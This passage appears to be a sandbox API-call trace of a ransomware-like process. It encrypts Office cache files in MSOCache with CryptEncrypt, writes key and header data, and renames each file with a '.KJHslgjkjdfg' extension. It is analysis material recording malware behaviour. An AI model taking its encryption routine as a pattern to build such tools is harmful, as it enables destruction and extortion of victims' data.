lpNewFilePointer=0x0) returned 1 [0156.139] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f8*=0x8, lpOverlapped=0x0) returned 1 [0156.139] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0156.139] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.139] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.139] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x741, lpNumberOfBytesRead=0x29df504, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df504*=0x741, lpOverlapped=0x0) returned 1 [0156.139] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x750, dwBufLen=0x750 | out: pbData=0x27d0020*, pdwDataLen=0x29df4e0*=0x750) returned 1 [0156.139] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.139] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4f8*=0x750, lpOverlapped=0x0) returned 1 [0156.139] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.139] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.139] SetEndOfFile (hFile=0x124) returned 1 [0156.142] GetProcessHeap () returned 0x990000 [0156.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b0b70 | out: hHeap=0x990000) returned 1 [0156.142] GetProcessHeap () returned 0x990000 [0156.142] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0156.142] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.kjhslgjkjdfg")) returned 1 [0156.144] CloseHandle (hObject=0x124) returned 1 [0156.148] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8c333b00, ftCreationTime.dwHighDateTime=0x1cacc53, ftLastAccessTime.dwLowDateTime=0x8c333b00, ftLastAccessTime.dwHighDateTime=0x1cacc53, ftLastWriteTime.dwLowDateTime=0xe86b5a80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa0200, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msvcr90.dll", cAlternateFileName="")) returned 1 [0156.148] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7e3b3f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd79282, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeLR.cab", cAlternateFileName="")) returned 1 [0156.148] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.148] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=14127746) returned 1 [0156.148] GetProcessHeap () returned 0x990000 [0156.148] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0156.148] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0156.148] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.149] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f4*=0xe, lpOverlapped=0x0) returned 1 [0156.151] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0156.151] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.151] GetProcessHeap () returned 0x990000 [0156.151] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0156.151] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0156.151] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.151] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0156.151] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0156.151] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0156.151] WriteFile (in: hFile=0x124, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0156.151] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0156.151] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0156.152] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0156.152] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.152] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0156.152] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0156.156] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0156.161] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.161] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0156.162] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.162] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0156.163] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0156.163] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0156.166] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0156.169] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x47db80, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.169] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0156.169] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.169] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0156.169] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd39290, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0156.169] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0156.172] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0156.175] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd39290, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.175] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0156.176] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.176] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0156.176] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.176] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0xd79364, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.176] SetEndOfFile (hFile=0x124) returned 1 [0156.180] GetProcessHeap () returned 0x990000 [0156.180] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0156.180] GetProcessHeap () returned 0x990000 [0156.180] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0156.180] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeLR.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officelr.cab.kjhslgjkjdfg")) returned 1 [0156.182] CloseHandle (hObject=0x124) returned 1 [0156.183] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c4ba40, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x387e00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUI.msi", cAlternateFileName="OFFICE~2.MSI")) returned 1 [0156.183] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0156.183] GetFileSizeEx (in: hFile=0x124, lpFileSize=0x29df508 | out: lpFileSize=0x29df508*=3702272) returned 1 [0156.183] GetProcessHeap () returned 0x990000 [0156.183] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0156.183] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0156.183] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.183] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0156.183] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.183] GetProcessHeap () returned 0x990000 [0156.184] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0156.184] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4d8*=0x40) returned 1 [0156.184] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.184] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f4*=0x40, lpOverlapped=0x0) returned 1 [0156.188] WriteFile (in: hFile=0x124, lpBuffer=0x29df4fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df4fc*, lpNumberOfBytesWritten=0x29df4f4*=0x4, lpOverlapped=0x0) returned 1 [0156.188] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f4*=0x10, lpOverlapped=0x0) returned 1 [0156.188] WriteFile (in: hFile=0x124, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df4f4*=0x80, lpOverlapped=0x0) returned 1 [0156.188] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df520 | out: lpNewFilePointer=0x0) returned 1 [0156.188] WriteFile (in: hFile=0x124, lpBuffer=0x29df510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4f4, lpOverlapped=0x0 | out: lpBuffer=0x29df510*, lpNumberOfBytesWritten=0x29df4f4*=0x8, lpOverlapped=0x0) returned 1 [0156.188] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4f8 | out: phKey=0x29df4f8*=0x9b64e8) returned 1 [0156.188] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0156.188] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0156.188] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0156.191] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0156.194] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.195] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0156.195] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.195] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0156.195] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0156.195] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0156.203] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0156.207] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.207] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0156.208] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.208] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0156.208] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x29df4c8 | out: lpNewFilePointer=0x0) returned 1 [0156.208] ReadFile (in: hFile=0x124, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df4bc, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df4bc*=0x40000, lpOverlapped=0x0) returned 1 [0156.212] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df4c4*=0x40000) returned 1 [0156.215] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.215] WriteFile (in: hFile=0x124, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df4c0*=0x40000, lpOverlapped=0x0) returned 1 [0156.216] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.216] WriteFile (in: hFile=0x124, lpBuffer=0x29df4c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df4c0, lpOverlapped=0x0 | out: lpBuffer=0x29df4c8*, lpNumberOfBytesWritten=0x29df4c0*=0x8, lpOverlapped=0x0) returned 1 [0156.216] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0156.216] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x387ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0156.216] SetEndOfFile (hFile=0x124) returned 1 [0156.219] GetProcessHeap () returned 0x990000 [0156.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0156.219] GetProcessHeap () returned 0x990000 [0156.219] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0156.219] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.kjhslgjkjdfg")) returned 1 [0157.457] CloseHandle (hObject=0x124) returned 1 [0157.458] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe7c27050, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x15b5, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeMUI.xml", cAlternateFileName="OFFICE~2.XML")) returned 1 [0157.458] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0157.458] GetProcessHeap () returned 0x990000 [0157.458] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0157.458] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0157.458] SetFilePointerEx (in: hFile=0x124, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df518 | out: lpNewFilePointer=0x0) returned 1 [0157.458] WriteFile (in: hFile=0x124, lpBuffer=0x29df528*, nNumberOfBytesToWrite=0xb, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df528*, lpNumberOfBytesWritten=0x29df4f8*=0xb, lpOverlapped=0x0) returned 1 [0157.461] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df4fc | out: phKey=0x29df4fc*=0x9b64e8) returned 1 [0157.461] CryptSetKeyParam (hKey=0x9b64e8, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0157.461] GetProcessHeap () returned 0x990000 [0157.461] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0157.461] CryptEncrypt (in: hKey=0x9b64e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df4e0*=0x40) returned 1 [0157.461] CryptDestroyKey (hKey=0x9b64e8) returned 1 [0157.461] WriteFile (in: hFile=0x124, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df4f8*=0x40, lpOverlapped=0x0) returned 1 [0157.461] WriteFile (in: hFile=0x124, lpBuffer=0x29df500*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x29df500*, lpNumberOfBytesWritten=0x29df4f8*=0x4, lpOverlapped=0x0) returned 1 [0157.461] WriteFile (in: hFile=0x124, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df4f8, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df4f8*=0x10, lpOverlapped=0x0) returned 1 [0157.461] WriteFile (in: 